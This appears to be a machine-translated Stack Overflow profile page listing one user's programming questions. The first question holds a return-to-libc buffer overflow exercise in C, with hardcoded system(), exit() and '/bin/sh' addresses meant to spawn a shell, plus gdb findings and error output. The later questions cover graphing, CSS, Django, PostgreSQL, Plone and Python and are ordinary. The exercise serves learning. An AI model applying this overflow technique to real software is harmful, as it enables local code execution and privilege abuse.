小编lig*_*nic的帖子

返回lib_c缓冲区溢出运行问题

我应该想出一个利用"返回libc缓冲区溢出"的程序.执行时,它会干净地退出并显示SHELL提示符.该程序在bash终端中执行.以下是我的C代码:

#include <stdio.h>
int main(int argc, char*argv[]){
    char buffer[7];

    char buf[42];
    int i = 0;
    while(i < 28)
    {
            buf[i] = 'a';
            i = i + 1;
    }

    *(int *)&buf[28] = 0x4c4ab0;
    *(int *)&buf[32] = 0x4ba520;
    *(int *)&buf[36] = 0xbfffff13;

    strcpy(buffer, buf);

    return 0;
}
Run Code Online (Sandbox Code Playgroud)

使用gdb,我已经能够确定以下内容:

  • "system"的地址:0x4c4ab0
  • "exit"的地址:0x4ba520
  • 字符串"/ bin/sh"驻留在内存中:0xbfffff13

我也知道,使用gdb,在我的缓冲区变量中插入32"A"会覆盖返回地址.因此,假设系统调用是4个字节,我首先填充28字节的内存"泄漏".在第28个字节,我开始我的系统调用,然后退出调用,最后添加我的"/ bin/sh"内存位置.

但是,当我运行程序时,我得到以下内容:

sh: B???: command not found
Segmentation fault (core dumped)
Run Code Online (Sandbox Code Playgroud)

我真的不确定我做错了什么......

[编辑]:我能够通过导出环境变量获得字符串"/ bin/sh":

export MYSHELL="/bin/sh"
Run Code Online (Sandbox Code Playgroud)

c bash buffer-overflow

18
推荐指数
2
解决办法
4万
查看次数

javascript图形库

我正在寻找一个很好的JavaScript图形库,可以处理以下类型的图形:

  • 线图
  • 直方图
  • 散点图
  • 动态图表

我尝试过谷歌的图表工具,但他们似乎并没有得到一个很好的柱状图(我也不能得到他们的动态图表的正常工作,甚至担任过我的Apache Web服务器).

我希望有一个像样的图书馆,在那里,可以支持所有的这些,但是如果必须这样,我可以包括2个不同的库(看谷歌图表工具,gRafael,flotr和rgraph现在 - 其中没有一个似乎包括我的所有要求.

javascript graphing

15
推荐指数
1
解决办法
9235
查看次数

CSS max-height和overflow auto始终显示垂直滚动

我有一个div类设置与以下CSS样式:

div.multiple_choice{
    border: 1px solid black; 
    max-width: 300px; 
    max-height: 200px; 
    overflow: auto;
}
Run Code Online (Sandbox Code Playgroud)

问题是,当内部文本没有强制DIV达到最大高度200px时,垂直滚动条仍然显示出来.我可以单击向上和向下箭头,但它只会将内容上下移动大约一个像素或两个像素.

这是在谷歌Chrome(版本18.0)和Iceweasel 11中发生的.

css scroll overflow

12
推荐指数
5
解决办法
3万
查看次数

Django Apache mod_wsgi 500

我在CentOS上部署了一个Django应用程序.这是我的httpd.conf文件的样子:

WSGISocketPrefix /var/run/wsgi
<VirtualHost *:80>

    WSGIDaemonProcess safe python-path=/usr/lib/python2.6/site-packages
    WSGIProcessGroup safe
    WSGIScriptAlias / /opt/safe/safe/wsgi.py

    <Directory /opt/safe/safe/>
        Order deny,allow
        Allow from all
     </Directory>
</VirtualHost>
Run Code Online (Sandbox Code Playgroud)

编辑:这是我的 TEMPLATE_DIRS

TEMPLATE_DIRS = (
    # Put strings here, like "/home/html/django_templates" or "C:/www/django/templates".
    # Always use forward slashes, even on Windows.
    # Don't forget to use absolute paths, not relative paths.
    "/opt/safe/static/templates",
    "/var/www/html/static/templates",
)
Run Code Online (Sandbox Code Playgroud)

编辑:这是我的管理员/电子邮件设置:

ADMINS = (
# ('Your Name', 'your_email@example.com'),
('David', 'david@localhost'),
)

SEND_BROKEN_LINK_EMAILS = True

DEFAULT_FROM_EMAIL = 'david@localhost'
SERVER_EMAIL = DEFAULT_FROM_EMAIL
Run Code Online (Sandbox Code Playgroud)

在我的模板目录中,我已经定义了一个自定义500.html文件.当我设置我settings.py …

apache django mod-wsgi

11
推荐指数
2
解决办法
6987
查看次数

PostgreSQL转换数组从函数返回到列

我在PostgreSQL(PLPGSQL)中有一个函数,它返回一个包含两个元素的数组.当我运行一个调用该函数的select语句时,我得到一个包含该数组的列(如预期的那样):

{1, 2}
Run Code Online (Sandbox Code Playgroud)

我真正想要做的是将这些元素提取为自己的列:

[ 1 | 2 ]
Run Code Online (Sandbox Code Playgroud)

我发现我能做到:

SELECT (MyFunction())[1], (MyFunction())[2]
Run Code Online (Sandbox Code Playgroud)

但是它会调用该函数两次,因此运行时间加倍(此函数是一个非常耗时的函数).有没有更好的方法来处理这个?


UPDATE

这是我所拥有的几乎完美的复制品:

SELECT table1.a, table1.b, table1.c, (MyFunction(table1.a, table1.b, table1.c))[1],
(MyFunction(table1.a, table1.b, table1.c))[2]
FROM table1
INNER JOIN table2 using(b)
WHERE ... GROUP BY table1.a, table1.b, table1.c;
Run Code Online (Sandbox Code Playgroud)

同样,这会产生数组中的两列,但我的函数被调用两次,这使我的运行时间加倍.

arrays postgresql function

9
推荐指数
1
解决办法
2万
查看次数

PLPGSQL数组索引从1开始?

我发现,默认情况下,PLPGSQL中数组的第一个索引从1开始,而不是像大多数编程语言一样.我只是好奇为什么会这样,以及其他编程语言是如何遵循这一点的?

谢谢!

arrays postgresql plpgsql

9
推荐指数
1
解决办法
4470
查看次数

Plone文件夹限制

在Plone中,我创建了一个名为"Admin"的新文件夹,它出现在顶部导航栏中.如何限制对此文件夹的访问权限,以便只有站点管理员才能访问此文件夹?(并且,最好只有那些管理员会看到该链接出现)?

directory plone admin restrictions

5
推荐指数
1
解决办法
401
查看次数

使用Plone Add-on包含Python脚本

我有一个Plone加载项(通过Zope创建),包括Javascript和页面模板文件.一些Javascript函数需要调用Python脚本(通过AJAX调用) - 如何在不通过ZMI的情况下将这些Python脚本包含在我的附加组件中?

我有一个"浏览器"文件夹,其中包含一个"configure.zcml"文件 - 注册资源目录和我的模板文件.我会假设注册python文件与此类似,或类似于Javascript文件的注册方式,但也许不是?

python scripting plone add-on

3
推荐指数
1
解决办法
543
查看次数

Zope使用zcml configure注册外部方法

是否可以使用configure.zcml文件或类似方法为Zope注册外部方法?我正在尝试注册外部Python脚本(类似于其他注册表项,如主题中的"jsregistry.xml"或"c​​ssregistry.xml")

methods zope external configure zcml

1
推荐指数
1
解决办法
292
查看次数

Python Dictionary Floats

我在Python(2.6.1)词典中遇到了一个奇怪的行为:

我的代码是:

new_item = {'val': 1.4}
print new_item['val']
print new_item
Run Code Online (Sandbox Code Playgroud)

结果是:

1.4
{'val': 1.3999999999999999}
Run Code Online (Sandbox Code Playgroud)

为什么是这样?它发生在一些数字上,但不是其他数字.例如:

  • 0.1变为0.1000 ... 001
  • 0.4变为0.4000 ... 002
  • 0.7变为0.6999 ... 996
  • 1.9变为1.8888 ... 889

python floating-point dictionary

1
推荐指数
1
解决办法
6713
查看次数

修改Plone翻译内容

我假设Plone具有存储在Data.fs文件(Zope DB?)中的基本"系统"消息.这意味着,例如,当您退出时(英文)显示的文字显示"您现在已退出".它存储在Zope DB中的某个位置.

有没有办法改变这些消息的内容?我们有一个俄语翻译的网站,我们想修改"你现在已经注销"的消息 - 但我无法在ZMI或文件系统中的任何地方找到它.

如果我的假设是正确的,并且它们存储在Zope DB中,是否有一个很好的实用程序来浏览/修改这些内容?

plone internationalization

1
推荐指数
1
解决办法
62
查看次数

Django 意外的关键字参数“related_name”

我在 Django 模型文件中定义了一系列表,它告诉我将关键字添加related_name到一小部分字段中,因为多个字段指向同一个表。我这样做了,现在当我尝试同步数据库时,出现以下错误:

TypeError: __init__() got an unexpected keyword argument 'related_name'
Run Code Online (Sandbox Code Playgroud)

我的相关名字都不一样,所以我不确定我错过了什么......

django django-models typeerror

1
推荐指数
1
解决办法
3941
查看次数